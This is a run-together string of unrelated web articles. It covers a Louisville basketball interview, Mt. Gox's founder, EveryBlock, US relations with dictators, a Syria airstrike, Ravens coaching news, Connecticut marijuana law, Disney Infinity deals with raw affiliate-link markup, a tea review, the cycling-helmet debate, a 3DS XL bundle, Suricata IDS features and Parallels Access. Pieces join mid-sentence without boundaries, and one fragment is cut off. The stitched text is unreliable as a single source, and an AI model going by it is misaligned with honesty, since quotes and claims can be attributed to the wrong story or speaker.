► ON THE BASKETBALL PROGRAM: Herbstreit was also asked for his opinion on U of L's decision to self-impose a postseason ban on the 2015-16 men's basketball team as part of the investigation into whether a former staff member arranged to have prostitutes for players and recruits.
Herbstreit said that "as tragic as it was for the current players," he thinks it was the right move to self-impose the ban.
He added that Jurich "is the best athletic director in the country, so if anybody can do what he needs to do to get (the cloud of the NCAA investigation) to move on, it would be Tom."
"If (Rick Pitino) didn't know about the (activities in Minardi Hall) and you can't prove that he knew about it, then I think what they've done is definitely the right move, and I'd be surprised if the NCAA did more than that," Herbstreit said. "One thing about the NCAA is they'll come in, and if you're proactive like that, they really take that into consideration. If you just kind of turn your head and say, 'Prove it,' and then they can prove it, you're in big trouble. But if you come out like how Tom and Rick decided to do and say, 'Hey, we're going to self-impose and take ourselves out of the postseason.' A few weeks ago they cut back some scholarships for about three years. When you start to do those kinds of things, the NCAA will take notice, and that will help their cause."Jed McCaleb, the original founder of bitcoin exchange Mt. Gox, has said that he lost around $50,000 following the collapse of the exchange.
McCaleb pulled out of Mt. Gox and sold the bulk of the company to Mark Karpeles in 2011, but retained a 12% stake.
The $50,000, which he indicated was held in an online wallet in USD not bitcoins, was lost when the exchange went bankrupt after an alleged massive hack.
In an interview with Ars Technica, McCaleb said he is no longer involved with Mt. Gox, aside from his stake in the company.
Minority shareholder
Following his departure form the exchange, McCaleb went on to develop Ripple and earlier this year he announced a secret bitcoin-related project. For a while it seemed as if he would never cross paths with Karpeles nor Mt. Gox, but the unfolding disaster forced him to reconsider.
He told Ars Technica that recent legal disputes “brought him back” to Mt. Gox for the first time in years, and insisted that he had no involvement with the exchange since early 2011, other than the fact that he was a minority shareholder.
He never met Karpeles in person, McCaleb said, and never received any profits from him. He also later learned that Karpeles rewrote the entire Mt. Gox codebase in 2011, after taking over the company.
Back in the game?
McCaleb recently joined a group of creditors and investors headed by Sunlot Holdings, who aim to revive the troubled exchange and compensate creditors with a minority stake in the company.
While he did not offer a full explanation of his involvement in the revival plan, McCaleb’s interests appear community-driven:
“When I first made Mt. Gox, I wanted to give the bitcoin community a place to gather. Although I am proud of how much the community has grown over the years, it saddens me to see the negative impact that Mt. Gox ended up having. Like many [others], I had money in Mt. Gox which I have also lost. The community deserves to find out the truth, and I am going to do what I can to help.”
However, the group’s plans for Mt. Gox hit a snag yesterday. It remains unclear whether Sunlot and its supporters can make a compelling case for the revival and the settlement decision has been delayed, as Mt. Gox bankruptcy trustee Nobuaki Kobayashi appears to be pushing for liquidation.
The matter is not likely to be resolved until the summer, since most of the Japanese and US hearings have been scheduled for June and July.
Dollars image via ShutterstockFiltered, hyperlocal 411
The tools we’re building to find, aggregate and consume tailored, filtered and hyperlocalized information are still nascent. My motto: register for everything, see what sticks. In the last few months, I’ve been hooked to EveryBlock, which lets you dive deep via street address and zip code, or pull back for city-wide look. The amount of data that’s fine-sliced by location, neighborhood and zip code is just amazing. Beyond mentions of specific hoods in the mainstream media or blogs (including Yelp restaurant reviews), what EveryBlock does really well is provide a user-friendly, easy-to-digest interface for exploring public records: every building permit, restaurant inspection, police call, zoning agenda item and more. You can hone searches from a one- to eight-block radius around a particular address. And you can set daily/weekly email alerts, as well (I prefer a weekly update, but search via the site now and again).
There are handful of news-y aggregators like Placeblogger (which I’ve not tried) and Outside.In (which I enjoy). Much like the previously-reviewed PopUrls, Outside.In gives you one place to go (or email/RSS) to monitor a variety of outlets — in this case location-specific “news, views and conversations” slotted into categories like food, music, real estate. Good stuff, but a little different. With EveryBlock, you get the actual public records, which tend to provide the most interesting tidbits, for me at least. In addition to suspicious people alerts, car break-ins and violent crimes, I discovered a person on my block is intending to tear down a one-story, single-family home and build a four-story condo — yuck! (Beware: you really can spend hours with all this data.)
The only catch: EveryBlock is only available in 11 cities (as I write), but more are certainly on the way. If you’re using any similar sites/services you love — especially those covering areas EveryBlock does not — please tell us about them in the comments below.
-- Steven LeckartThree short years ago, the rosier thinking in Washington was that Syrian President Bashar al-Assad, a British-trained eye doctor, had the dispositions of a Mideast peacemaker.
"Syria is an essential player in bringing peace and stability to the region," intoned then senator John Kerry, chair of the U.S. Senate's foreign relations committee, in Damascus in 2010 following one of his half-dozen parleys with Assad.
Kerry had been holding meetings with the dictator as early as 2006, even as Syria was (and still is) on the U.S. list of state sponsors of terrorism.
How times have changed. With Syria now embroiled in a brutal civil war, two weeks ago Kerry, as U.S. secretary of state, likened Assad to some of history's most heinous despots, citing mounting evidence that his army used chemical weapons against rebels.
"Bashar al-Assad now joins a list of Adolf Hitler and Saddam Hussein who have used these weapons in time of war," Kerry said in a TV interview.
It's certainly not the first time American officials have tried to cozy up to an unsavoury strongman, only to turn on them when the tide changed. Over the last decades, a roster of the globe's tyrants have, at times, enjoyed the U.S.'s favour, or at the very least stood shoulder to shoulder with American leaders.
Here is a sampling of some of the more prominent cases:
Saddam Hussein, Iraq The Iraqi leader certainly wasn't a pal of the United States when his armed forces invaded Iran in 1980. Iraq was on the U.S. list of state sponsors of terrorism and hadn't had normal diplomatic relations since 1967. Donald Rumsfeld, left, and Iraqi President Saddam Hussein shake hands in December 1983 in Baghdad. Rumsfeld met with Hussein during the war between Iran and Iraq as an envoy for U.S. President Ronald Reagan. (AFP/Getty) But the U.S. also hoped to contain the Islamic Revolution in Iran and to counter the Soviet Union's attempts to influence the region. President Ronald Reagan sent Donald Rumsfeld, a former and future defence secretary, as special envoy to meet Hussein in 1983 and again in 1984. The Reagan administration took Iraq off its terrorism list and in 1984 restored diplomatic relations. Secretly, military aid flowed to Hussein: cluster bombs through a CIA front company, as well as weapons components and intelligence about Iranian troops, a 2002 Washington Post exposé revealed. The Reagan and George H.W. Bush administrations authorized sales of anthrax and bubonic plague to Baghdad, even as intelligence reports were highlighting Iraq's "almost daily" chemical weapons use in the hostilities, the Post reported. By the end of the Iran-Iraq war, in 1988, government leaders had officially soured on Iraq again, trying to pass economic sanctions after it turned its guns — and gas — against its own Kurdish population. And then in 1991, after Iraq invaded Kuwait and American warplanes began dropping bombs over Baghdad, Hussein was officially the pariah he would remain until his final days.
Hosni Mubarak, Egypt
U.S. President Barack Obama greets Egyptian President Hosni Mubarak in Cairo in 2009. Two years later, Obama would call for Mubarak to 'immediately' democratize his country. (Amr Nabil/Associated Press)
During Mubarak's rule, from 1981 until protests swept him from office two years ago, he was an important American client in the Middle East. Egypt signed a peace treaty with Israel in 1978, and thereafter began to receive billions of dollars in U.S. military aid, second only to Israel every year from 1981 to 2002. Democracy was broached in talks with the dictator, but the lack of free and fair elections never saw him blacklisted.
The Obama administration at first stuck to its partner as the Arab Spring spread across the region in late 2010 and early 2011. On the second day of mass protests in Cairo, White House spokesman Robert Gibbs said, "We have a close and important ally in Egypt and they will continue to be." Then secretary of state Hillary Clinton said Mubarak was "looking for ways to respond to the legitimate needs and interests of the Egyptian people."
But within two weeks, the tone had changed. "The Egyptian government must put forward a credible, concrete and unequivocal path toward genuine democracy," Obama said. "We believe that this transition must immediately demonstrate irreversible political change."
Mubarak resigned the next day.
Moammar Gadhafi, Libya The flamboyant "brother leader," as he styled himself, spent two decades dogging the West as a terrorist-funding rogue, starting after he organized the bloodless overthrow of Libya's King Idris in 1969. The U.S. placed his regime on its list of state sponsors of terrorism, as Gadhafi supplied arms, training, funds and haven to militant groups including the Irish Republican Army, the Basque ETA and the Black September Movement, which was responsible for the 1972 Munich Olympics attacks. Obama shakes hands with Moammar Gadhafi in Italy in 2009. After initially calling the 2011 Libyan uprising an internal struggle, the U.S. joined the military alliance that helped rebels overthrow the Libyan leader. (Alessandro Bianchi/Reuters) Then, with characteristic caprice, Gadhafi in his latter years sought rapprochement with the very world powers he had devoted so many years to bedevilling. He agreed to compensate victims of Libyan-sponsored terrorism, including the 1988 bombing of Pan Am Flight 103, and allowed UN investigators into his country to examine and dismantle weapons of mass destruction. The U.S. removed Libya from its terrorism blacklist in 2006, and world leaders such as British Prime Minister Tony Blair and Canadian Prime Minister Paul Martin paid him visits in his desert tent. Obama shook Gadhafi's hand at a G8 summit in Italy in 2009. When the Arab Spring spread to Libya and Gadhafi turned his warplanes against his own people, the U.S. initially remained aloof. "This [is] ultimately and fundamentally an issue between the Libyan government, its leader and the Libyan people," a State Department spokesperson said in February 2011. But the next month, the UN Security Council passed a resolution authorizing military force against Libya, and the U.S. dispatched warships, bombers and fighter jets. "I think it is just a matter of time before Gadhafi goes," Obama said that June. "What you're seeing across the country is an inexorable trend."
Manuel Noriega, Panama
Manuel Noriega took U.S. military training and was on the CIA's payroll for years, as he helped the United States spy on other Latin American countries and suppress the spread of socialism and communism.
By the time George H.W. Bush became CIA director in 1976, the agency knew that its collaborator was said to be involved in high-level drug trafficking from his perch as head of Panama's military intelligence. Noriega's operatives had also bribed American soldiers to get at details about U.S. eavesdropping on Panama.
Despite Noriega's shady reputation and published reports that some of his country's officials were laundering drug money, Bush, as vice-president, went to Panama to meet him in 1983, after the strongman had consolidated power as the country's de facto ruler. Photos show them lounging on couches.
Bush's ties to Noriega dogged him when he ran for the presidency in 1988. Official views of the Panamanian general had changed, with the U.S. Senate denouncing his "corruption and drug dealing" and his ties to Colombian drug lord Pablo Escobar's Medellin cartel. He was also indicted in Florida on narcotics and racketeering charges.
After the election, Bush channelled that animus into the eventual invasion of Panama in 1989. Noriega was captured and returned to the U.S., where was tried, convicted and sentenced to 40 years in 1992.At least 15 civilians have been killed and dozens injured in an air strike on a village in eastern Syria held by so-called Islamic State, activists say.
The DeirEzzor24 website reported that an unidentified jet had dropped cluster bombs on Dablan, about 20km (13 miles) south-east of the town of Mayadin.
The UK-based Syrian Observatory for Human Rights put the death toll at 30.
It comes only two days after a US-led coalition strike reportedly killed 42 detainees at an IS prison near Mayadin.
The coalition confirmed it had targeted "IS command-and-control elements" in the area on Monday, but said the raid had been "meticulously planned" to avoid harming civilians.
There was no immediate comment from the coalition on Wednesday's reported attack. The Russian and Syrian air forces also fly sorties in the region.
At the start of June, the coalition said its 21,035 air strikes in Syria and Iraq since 2014 had unintentionally killed at least 484 civilians. However, human rights groups believe the true figure is far higher.
Airwars, an organisation that tracks allegations of civilian deaths, said that as of 8 June, the coalition had killed at least 4,118 civilians and perhaps more than 16,000.
DeirEzzor24 said the house of a person not connected to IS appeared to have been targeted, and that several nearby buildings had also been destroyed.
Women and children were among those killed, it added, warning that the death toll was likely to rise because of the serious condition of some of the injured.
Mayadin, which lies in the Euphrates river valley about 45km (28 miles) south-east of the city of Deir al-Zour, has been targeted frequently by coalition aircraft.
US intelligence officials believe IS moved most of its leaders to the town in recent months as Iraqi government forces advanced into the Iraqi city of Mosul and a US-backed alliance of Kurdish and Arab fighters encircled the Syrian city of Raqqa.
Media playback is unsupported on your device Media caption "Welcome to Raqqa": Watch Gabriel Gatehouse's full report
Meanwhile at least 173 civilians and possibly many more have been killed in air and ground operations against IS this month in Raqqa itself, the UN's human rights chief said.
As many as 100,000 civilians were trapped in Raqqa and were being prevented from leaving by IS, Zeid Ra'ad al-Hussein said.
"Civilians must not be sacrificed for the sake of rapid military victories," he said.
The intense bombardment of the city had reportedly left them "terrified and confused about where they can seek refuge", he added.The Baltimore Ravens expect defensive coordinator Greg Mattison to leave the team and take the same position at the University of Michigan, a team source said Tuesday.
Relive every game this season online and on-demand with enhanced viewing features, including the "All-22" coaches film. Relive every game this season online and on-demand with enhanced viewing features, including the "All-22" coaches film. Get NFL Game Rewind
The Ravens intend to promote secondary coach Chuck Pagano to defensive coordinator, according to the source, with Mattison's departure seen as imminent. Mattison coached with new Wolverines coach Brady Hoke under Jack Harbaugh at Western Michigan and Lloyd Carr at Michigan.
Mattison took over as the Ravens' defensive coordinator after Rex Ryan departed Baltimore to become the New York Jets' head coach before the 2009 season. The Ravens' defense has ranked in the top 10 in the NFL during both of Mattison's seasons as coordinator.A portrait of the main character 'Case' from the book Neuromancer by William |
ORD, Conn. (WTNH) -- As of Thursday, it is now legal in Massachusetts to possess and use and grow marijuana in your home. A Connecticut lawmaker that has been pushing for this here says now is a golden opportunity for the Nutmeg State.
Connecticut has four licensed medical marijuana growing facilities and eight licensed dispensaries. Their robust business in medical marijuana products could explode if a recreational marijuana law comes to Connecticut.
New Haven Democratic State Rep. Juan Candelaria has attempted to introduce a recreational marijuana law here for the past two years, but never even got a public hearing.
"The tone has changed since Massachusetts have passed their referendum," said Candelaria. "So I think it is an opportunity (for) Connecticut to move forward with this legislation."
While it is now legal to purchase and use marijuana in Massachusetts, it won't be legal to sell it for another twelve months.
"If we really want to tackle the issue I think we can have legalization ready to go by the end of the fiscal year," said Candelaria.
And the end of this fiscal year is when the state is in serious need of a serious influx of cash. One estimate says recreational marijuana could raise $50 million in tax revenue the first year.
While not saying he would veto a recreational marijuana bill, Governor Malloy says he thinks Connecticut has gone far enough.
"Going from decriminalization and recognizing the medical benefits of marijuana to, in essence, endorse marijuana is a very different proposition and I don't endorse the use of marijuana," said Malloy.
Malloy also thinks the revenue estimates are faulty as well, noting that the Massachusetts tax rate will be low and in order to be competitive, Connecticut's rate would also have to be low.
"I suspect that the money that will be generated in Massachusetts will not pay for the programs necessary to treat the people who will become problematic," said Malloy.
Candelaria says that incoming Connecticut Speaker of the House Joe Aresimowicz has assured him the proposal will get a full public hearing in the new legislative session that starts next month and a spokesman for the new Speaker Joe Aresimowicz says that is accurate.Many figures are seeing huge price jumps at Amazon, with Anna, Jack Skellington, Elsa, Dash, and Wreck-It Ralph all listed dollars higher than their prices last week. Some, like Dash, Jack, and Ralph, will cost you twice as much or more. Guardians play sets have increased to $25.92 at Amazon, while Avengers and Spider-Man are about half off, at $17.49 and $19.99, respectively.
Pricing stayed consistent at Best Buy this week, but it’s still the best place to get 3DS Challenge starters, Barbossa, Wreck-It Ralph, and Wii U 1.0 starters.
Anna and Elsa are listed again at Target, after having been absent for a few weeks. They’re still the only 1.0 figures available at that location.
Toys R Us has BOGO 40% off on figures this week (valid on crystal figures!), as well as 3 for $6 on all power disc packs. Disney Infinity 1.0 Series 3 power discs are out of stock at TRU, leaving only the series 1 discs and TRU gold packs for DI 1.0.
Huge deals at the Microsoft Store this week on 1.0 figures (all figures and play sets also have free shipping!). Continuing last week’s deal, all 2.0 figures are marked down to $9.99, but 1.0 figures are all $8.99 and under. Check below for a list of which figures are still in stock.
Did I make any mistakes or miss anything? Hit me up here or on reddit and let me know!
Chewbacca Webcode Giveaway
Chewbacca 3.0 Web Code Giveaway
For the month of July, we’re starting a special giveaway series for Disney Infinity 3.0 character codes! This week’s giveaway will be for Chewbacca! To secure your entry, sign up below by 11PM CDT on July 18, 2015.
Yoda Webcode Giveaway Winner
Congratulations to Adrianna B. (mybaby…@hotmail.com), winner of the Yoda Webcode giveaway! An email has been dispatched, so check your inbox.
Yoda 3.0 Web Code Giveaway
Note: If you do not respond to our attempts to contact you within one week, I will perform a new drawing and award the prize to someone else, so please don’t delay in responding! You may want to keep an eye on your spam folder as well, depending on how tightly regulated your inbox is.
These deals were last updated at 5:38AM CDT, July 13, 2015.Â
Table of Contents
Best Deals of the Week
Disney Infinity 3.0 Preorder Options
Amazon
Best Buy
Disney Store
Gamestop
Kmart
Microsoft Store
Sam’s Club
Target
Toys R Us
Wal-Mart
DI PC Trial Characters
Best Deals of the Week
(Editor’s choice deals highlighted in Bold)
Disney Infinity 1.0 Deals
Disney Infinity 2.0 Deals
Disney Infinity 3.0 Preorders
Preorder a Disney Infinity 3.0 starter set to get the Toy Box Takeover Expansion for free.
Toy Box Takeover Expansion
“Syndrome has got his hands on Merlin’s magic wand, and now all of the Toy Box is in danger in this Disney Infinity: 3.0 Edition Toy Box Takeover Expansion Game.”
Amazon
Best Buy
Disney Store
Gamestop
Microsoft Store
3.0 starter for Xbox One for $64.99 (purchase bonus: $10 Xbox gift card)
Target
Toys R Us
Wal-Mart
[easyazon_link identifier=”B00CDW2CLI” locale=”US” tag=”discodes-20″]Power disc capsule[/easyazon_link]Â for $6.99
Disney Infinity 1.0 Deals
Power discs: series 1Â for $3.98, series 2Â for $2.99, series 3Â for $4.99
 Figures: [easyazon_link identifier=”B0050SVTUM” locale=”US” tag=”discodes-20″]Barbossa[/easyazon_link] for $10.50 [easyazon_link identifier=”B00EC6V9U8″ locale=”US” tag=”discodes-20″]Anna[/easyazon_link] for $12.97 [easyazon_link identifier=”B00EC6VSMW” locale=”US” tag=”discodes-20″]Jack Skellington[/easyazon_link] for $15.99 [easyazon_link identifier=”B00HC6A8T8″ locale=”US” tag=”discodes-20″]Phineas[/easyazon_link] for $6.99 [easyazon_link identifier=”B00H8YW996″ locale=”US” tag=”discodes-20″]Sorcerer’s Apprentice Mickey[/easyazon_link] for $5.99 [easyazon_link identifier=”B00AXI9WPS” locale=”US” tag=”discodes-20″]Mike[/easyazon_link] for $7.31 [easyazon_link identifier=”B00EC6VA9I” locale=”US” tag=”discodes-20″]Elsa[/easyazon_link] for $9.99 [easyazon_link identifier=”B00AXI9WNU” locale=”US” tag=”discodes-20″]Dash[/easyazon_link] for $15.94 [easyazon_link identifier=”B00EC6W1O6″ locale=”US” tag=”discodes-20″]Rapunzel[/easyazon_link] for $8.00 [easyazon_link identifier=”B00HC6ZXLG” locale=”US” tag=”discodes-20″]Agent P[/easyazon_link] for $11.99 [easyazon_link identifier=”B00EC6V9XU” locale=”US” tag=”discodes-20″]Woody[/easyazon_link] for $4.50 [easyazon_link identifier=”B00EC6VU20″ locale=”US” tag=”discodes-20″]Wreck-It Ralph[/easyazon_link] for $13.98 [easyazon_link identifier=”B00BUDJR3C” locale=”US” tag=”discodes-20″]Mater[/easyazon_link] for $4.24 [easyazon_link identifier=”B00AXI9WGW” locale=”US” tag=”discodes-20″]Davy Jones[/easyazon_link] for $5.95 [easyazon_link identifier=”B00AXI9WYE” locale=”US” tag=”discodes-20″]Syndrome[/easyazon_link] for $10.99 [easyazon_link identifier=”B00AXE639A” locale=”US” tag=”discodes-20″]Violet[/easyazon_link] for $10.99 Randall for $18.41
Play Sets: [easyazon_link identifier=”B00EC6W35S” locale=”US” tag=”discodes-20″]Toy Story play set[/easyazon_link] for $35.99 [easyazon_link identifier=”B00C68MXQS” locale=”US” tag=”discodes-20″]Lone Ranger play set[/easyazon_link] for $19.99 [easyazon_link identifier=”B00BT2BFKW” locale=”US” tag=”discodes-20″]Cars play set[/easyazon_link] for $19.00
Figure packs: [easyazon_link identifier=”B00BT2BFGG” locale=”US” tag=”discodes-20″]Sidekick pack[/easyazon_link]Â for $22.99 [easyazon_link identifier=”B00EC6VARA” locale=”US” tag=”discodes-20″]Frozen Toy Box Set[/easyazon_link] for $25.99 [easyazon_link identifier=”B00IO3GSXS” locale=”US” tag=”discodes-20″]Girls 3-figure power pack[/easyazon_link]Â for $25.99 [easyazon_link identifier=”B00C68MXBS” locale=”US” tag=”discodes-20″]Villains 3 pack[/easyazon_link] for $45.06
Toy Box Sets: [easyazon_link identifier=”B00EC6VTQ2″ locale=”US” tag=”discodes-20″]Wreck-It Ralph[/easyazon_link]Â toy box pack for $19.97 [easyazon_link identifier=”B00HC6A942″ locale=”US” tag=”discodes-20″]Phineas and Ferb[/easyazon_link]Â toy box pack for $19.75
Starters: [easyazon_link identifier=”B00AXI9WFS” locale=”US” tag=”discodes-20″]Xbox 360[/easyazon_link]Â for $33.00 [easyazon_link identifier=”B00AXI9XIE” locale=”US” tag=”discodes-20″]PS3[/easyazon_link]Â for $29.99 [easyazon_link identifier=”B00AXI9X20″ locale=”US” tag=”discodes-20″]Wii U[/easyazon_link]Â for $35.95
Disney Infinity 2.0 Deals
[easyazon_link identifier=”B00KWHJ0R0″ locale=”US” tag=”discodes-20″]Marvel Super Heroes power discs[/easyazon_link] for $2.99, Disney Originals power discs for $2.99
$10 and under on select figures: [easyazon_link identifier=”B00OVSKCBO” locale=”US” tag=”discodes-20″]Green Goblin[/easyazon_link] for $8.75 [easyazon_link identifier=”B00KWHIZNK” locale=”US” tag=”discodes-20″]Venom[/easyazon_link]Â for $7.99 [easyazon_link identifier=”B00MCC35BK” locale=”US” tag=”discodes-20″]Donald[/easyazon_link]Â for $8.99 [easyazon_link identifier=”B00N3VNERE” locale=”US” tag=”discodes-20″]Aladdin[/easyazon_link]Â for $9.99 [easyazon_link identifier=”B00MCC365U” locale=”US” tag=”discodes-20″]Maleficent[/easyazon_link] for $8.65 [easyazon_link identifier=”B00OVSKCBE” locale=”US” tag=”discodes-20″]Ronan[/easyazon_link] for $8.99 [easyazon_link identifier=”B00OVSKCAK” locale=”US” tag=”discodes-20″]Yondu[/easyazon_link] for $8.99
Marvel Starters: [easyazon_link identifier=”B00KWHIZQ2″ locale=”US” tag=”discodes-20″]Xbox One[/easyazon_link]Â for $39.90 [easyazon_link identifier=”B00KWHJ2JQ” locale=”US” tag=”discodes-20″]Xbox 360[/easyazon_link]Â for $44.45 [easyazon_link identifier=”B00KWHJ1O2″ locale=”US” tag=”discodes-20″]Wii U[/easyazon_link]Â for $31.99 [easyazon_link identifier=”B00KWHOXE0″ locale=”US” tag=”discodes-20″]PS3[/easyazon_link]Â for $29.25 [easyazon_link identifier=”B00KWHOXGI” locale=”US” tag=”discodes-20″]PS4[/easyazon_link]Â for $33.00
Collector’s Editions: PS3 for $136.23 PS4 for $84.99
Play Sets: [easyazon_link identifier=”B00KWHIZPI” locale=”US” tag=”discodes-20″]Spider-man[/easyazon_link]Â for $19.99 [easyazon_link identifier=”B00LQAY35G” locale=”US” tag=”discodes-20″]Guardians of the Galaxy[/easyazon_link]Â for $26.28 [easyazon_link identifier=”B00MCC35D8″ locale=”US” tag=”discodes-20″]Avengers[/easyazon_link]Â for $17.49
Toy Box Starters: [easyazon_link identifier=”B00MCC372M” locale=”US” tag=”discodes-20″]Xbox One[/easyazon_link]Â for $28.95 [easyazon_link identifier=”B00MCC376S” locale=”US” tag=”discodes-20″]PS3[/easyazon_link]Â for $28.76 [easyazon_link identifier=”B00MCC370Y” locale=”US” tag=”discodes-20″]Wii U[/easyazon_link]Â for $27.29 [easyazon_link identifier=”B00MCC375E” locale=”US” tag=”discodes-20″]Xbox 360[/easyazon_link]Â for $29.99 [easyazon_link identifier=”B00MCC373G” locale=”US” tag=”discodes-20″]PS4[/easyazon_link]Â for $23.97
Disney Infinity 1.0 Deals
Disney Infinity 2.0 Deals
Best Buy is also offering a Nick Fury figure with a specialized display case for $13.99.
Disney Infinity 1.0 Deals
Disney Infinity 2.0 Deals
Gamestop is also offering a Rocket Raccoon figure with a specialized display case for $14.99 and a Captain America figure with specialized display case for $14.99.
Disney Infinity 2.0 Deals
1.0 figures: Anna for $12.99 Elsa for $12.99
Disney Infinity 2.0 Deals
Target is also offering a Stitch figure with a specialized display case for $17.99.
Disney Infinity 1.0 Deals
Disney Infinity 2.0 Deals
Power disc albums for $5.97
Disney Infinity 1.0 Deals
Disney Infinity 2.0 Deals
Disney Infinity 1.0 Deals
Disney Infinity 1.0 Deals
Disney Infinity 2.0 Deals
Disney Infinity 2.0 Deals
Disney Infinity 2.0 Deals
DI PC Trial Characters
(Expires on 15 July 2015)
Nick Fury
Groot
Maleficent
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Bitter Leaf Teas released their new predictions not long ago, and a part of those productions were three different grades of the same tea. Bitter Leaf Tea’s called this tea ‘Plum Beauty’, but it’s really Mengsong puer. They’re selling three grades of this tea: bronze, silver, and gold. Fortunately, I was able to get my hands on the silver and gold grades. The silver grade is made form old tea tree material, while the gold grade is made from ancient tea tree material. So how does the silver and gold grade hold up? Lets find out!
Steeps 1 - 4
For each session, I used 4g of tea in a 60ml vessel with water at a temp of 185ºf. Anyways, starting out, the silver grade of this tea began with a medicinal body and a sweet aftertaste. After a few more infusions, a moss undertone became present as it left a faint bite on the tongue. Meanwhile, the gold grade of this tea started with a medicinal and herb-like body, and was so strong that it was spicy to the tip of the tongue. After a few more infusions, it took on a broth like texture that kept getting stronger and stronger.
Steeps 5 - 8
The silver grade of this tea kept opening up, and started to take on a velvet-like texture. The pleasant texture brought out a wood-like base that mixed with the medicinal forefront. As the infusions kept going, the silver grade's texture turned into a broth-like substance as it brought out a faint spiciness. Anyways, with the gold grade of this tea, the medicinal herb-like body kept expanding as it became heavier and bolder. The body of this tea became as thick as olive oil, which left a light bitter on the tongue. After redoing a few steeps to weaken this tea, it was still very heavy and started to make me feel light headed.
Steeps 9 - 12
The silver grade began to settle down as its medicinal body became smoother and smoother. The moss-like undertones left a lingering sweetness in the back to the throat, as this tea’s texture was smooth and heavenly. On the other hand, the gold version of this tea was still bold, but also began to settle down. The medical body left behind a herb-like sweetness on the tongue, as its texture was as fine as oil until the very last steep.
Conclusion
The experience with Plum Beauty was a pleasant one, and was very relaxing. To start, the silver grade of this tea was of exceptional quality, which adds to this tea’s overall experience. The gold version of this tea is a great experience, but does come at a higher price. I think for the price, the gold standard of this tea is an experience worth having because it shows you the positive attributes of how complex an ancient tea tree can really be. Overall, I would recommend both teas, and I think that tasting both grades was an excellent learning opportunity. I hope that when you try plum beauty, you’ll learn about the differences of tea tree age as much as I did…The Tour de France is just weeks away and the approach of summer is sure to see people choosing to cycle to work.
But all those cyclists donning a helmet as a safety precaution when they take to the saddle may be wasting their time, a leading neurosurgeon has said.
Henry Marsh, who works at St George’s Hospital in Tooting, London, said he has treated a number of patients involved in bike accidents whose helmets were “too flimsy” to provide any real protection, The Telegraph reported.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Speaking at the Hay Festival alongside Ian McEwan, whose novel Saturday pivots on the life of a neurosurgeon, Dr Marsh went on to say that wearing a helmet could actually pose greater risks to cyclists than not wearing one at all.
He drew on research from the University of Bath which suggests that drivers get around three inches closer to cyclists wearing helmets because they view them as safer.
Dr Marsh said: “I ride a bike and I never wear a helmet. In the countries where bike helmets are compulsory there has been no reduction in bike injuries whatsoever.
“I see lots of people in bike accidents and these flimsy little helmets don’t help.”
He added: “I have been cycling for 40 years and have only been knocked off once. I wear a cowboy hat and cowboy boots. I look completely mad.“
In 2006 Dr Ian Walker, from the University of Bath, found that drivers were twice as like to get close to cyclists, an average of 8.5cm, when they were wearing a helmet.
He suggested that drivers viewed cyclists wearing helmets as “Lycra-clad street warriors” who were more predictable and sensible road users.
UK cyclists are legally required to fit their bikes with reflectors and lights at night, but helmets are not compulsory.
But Dr Marsh’s comments are not likely to be well received by cycling safety campaigners.
Angie Lee, chief executive of the Bicycle Helmet Initiative Trust said: “I hope he is going to take responsibility for the cyclist who gets injured because they take their helmet off following his comments.
“This may be his opinion but there are a lot more neurosurgeons and surgeons who would counter that argument.
“My advice would be the same as the Department of Transport’s which is that helmets have a place in protecting the head.”
A Department of Transport study found that cycle helmets worn correctly could prevent an estimated 10-16 per cent of fatalities. But the findings were criticised for drawing on limited evidence, leaving the debate unresolved.
We’ll tell you what’s true. You can form your own view.
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Early next year, Dragon Quest Monsters 2: Iru and Luca's Marvelous Mysterious Key hits the Nintendo 3DS. To mark the occasion, Nintendo is releasing a special 3DS XL.
Neat DQ print, no?
Dragon Quest Monsters 2: Iru and Luca's Marvelous Mysterious Key is a remake of Dragon Quest Monsters 2: The Mysterious Key to Malta, a 2001 Game Boy Color Game, which merges both versions of the original game into a single title.
This special 3DS XL comes bundled with a copy of the game and will be out in Japan on February 6 (with no word on a western release). It's priced at 24,390 yen, or around US$250.
『ドラゴンクエストモンスターズ2 イルとルカの不思議なふしぎな鍵』の発売日は2014年2月6日に――3DS LL本体同梱版も同時発売 [Dengeki Online]
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To contact the author of this post, write to bashcraftATkotaku.com or find him on Twitter @Brian_Ashcraft.IDS / IPS
Suricata implements a complete signature language to match on known threats, policy violations and malicious behaviour. Suricata will also detect many anomalies in the traffic it inspects. Suricata is capable of using the specialized Emerging Threats Suricata ruleset and the VRT ruleset.
High Performance
A single Suricata instance is capable of inspecting multi-gigabit traffic. The engine is built around a multi threaded, modern, clean and highly scalable code base. There is native support for hardware acceleration from several vendors and through PF_RING and AF_PACKET.
Automatic protocol detection
Suricata will automatically detect protocols such as HTTP on any port and apply the proper detection and logging logic. This greatly helps with finding malware and CnC channels.
NSM: More than an IDS
Suricata can log HTTP requests, log and store TLS certificates, extract files from flows and store them to disk. The full pcap capture support allows easy analysis. All this makes Suricata a powerful engine for your Network Security Monitoring (NSM) ecosystem.
TLS/SSL Logging and Analysis: Not only can you match against most aspects of an SSL/TLS exchange within the ruleset laguage thanks to Suricata’s TLS Parser, you can also log all key exchanges for analysis. Great way to make sure your network is not the victim of a less than reputable certificate authority.
HTTP Logging: Why add more hardware into your network just to log http activity when your IDS already sees it? Suricata will log all HTTP connections on any port to file for later analysis.
Lua scripting
Advanced analysis and functionality available to detect things not possible within the ruleset syntax.
Industry standard outputs
With 2.0 we introduced “Eve”, our all JSON event and alert output. This allows for easy integration with Logstash and similar tools.
Additionally, through the Unified2 output format and the Barnyard2 tool, Suricata can be used with BASE, Snorby, Sguil, SQueRT and all other tools out there.
For a complete list of Suricata features, see: All Features.Samsung Galaxy Note 4 and Galaxy Note Edge owners can now remotely access their Windows or Mac files with Parallels Access 2.5. The new version of the popular software even lets users edit remote PC files with Samsung's S Pen.
As the video shows above, the S Pen support for Parallels Access 2.5 allows for better precision when using PC art and photo editing tools remotely on the Galaxy Note 4. The new version has also been optimized for Amazon's Fire tablets and now supports access to PCs that are running Apple's OS X Yosemite and Microsoft's Windows 10 Technical Preview.
Parallels Access 2.5 is now available in the Google Play Store for a two-week trial. After that, users pay $19.99 for one year or $34.99 for two years of service. However, Galaxy Note 4 and Galaxy Note Edge owners get a special free six month subscription offer to the service.
Source: ParallelsAn increasingly tight U.S. presidential campaign that could lead to a Donald Trump presidency increasingly has the Mexican peso falling according to U.S. banking giant Citigroup on Monday.
